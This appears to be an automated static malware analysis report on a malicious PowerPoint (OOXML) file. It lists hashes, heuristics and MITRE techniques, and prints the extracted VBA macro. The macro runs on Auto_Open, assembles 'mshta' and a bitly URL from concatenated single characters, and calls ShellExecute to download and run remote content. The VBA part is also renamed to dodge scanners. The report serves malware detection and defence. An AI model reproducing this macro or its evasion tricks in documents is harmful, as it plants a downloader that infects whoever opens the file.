Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 22aecbec1141a4a1…

MALICIOUS

Office (OOXML)

7.7 KB First seen: 2021-06-28
MD5: d7c0182a8189ba91e131c62c49848669 SHA-1: 92ce442e0fe39edb2f5e7a35f24611b5ff6c1b7f SHA-256: 22aecbec1141a4a1a4a1a16b1f9c223b1e3862a9c1db0136fc7aad1216d43fd0
68 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML file contains a VBA macro that is automatically executed upon opening (Auto_Open). This macro uses ShellExecute to download and execute content from the URL http://www.bitly.com/hwdinnwshdwdwdwqwhda. The VBA project part was renamed to evade detection, indicating a deliberate attempt to conceal malicious activity.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/dedrdrdrdrd.bin)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub _
    Auto_Open _
    ()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1084 bytes
SHA-256: b64a414d38fd138c78f351c69ebb7cea2763a2124c6d1428a89aaec69533f218
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Const _
SW_SHOW _
= _
1
Const _
SW_SHOWMAXIMIZED _
= _
3

Public _
Declare _
Function _
ShellExecute _
Lib _
"Shell32.dll" _
Alias _
"ShellExecuteA" _
  (ByVal _
  hwnd _
  As _
  Long _
  , _
   ByVal _
   lpOperation _
   As _
   String _
   , _
   ByVal lpFile As String _
   , _
   ByVal lpParameters As String _
   , _
   ByVal lpDirectory As String _
   , _
   ByVal nShowCmd As Long) As Long
Function koko()



koko _
= _
"m" _
+ _
"s" _
+ _
"h" _
+ _
"t" _
+ _
"a"
End _
Function
Sub _
Auto_Open _
()
  Dim _
  RetVal _
  As _
  Long
  On _
  Error _
  Resume _
  Next
  RetVal _
  = _
  ShellExecute _
  (0, "open", koko, "h" _
  + _
  "t" _
  + _
  "t" _
  + _
  "p" _
  + _
  ":" _
  + _
  "/" _
  + _
  "/" _
  + _
  "w" _
  + _
  "w" _
  + "w" + "." + "b" + "i" + "t" + "l" + "y" + "." + "c" + "o" + "m/hwdinnwshdwdwdwqwhda", _
                        "%public%" _
                        , _
                        SW_SHOWMinimize)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/dedrdrdrdrd.bin 14336 bytes
SHA-256: 85be3cfece7387e3fd8c00fea900b662a38f1cd2762e3bbd715ae5948a5bc5d4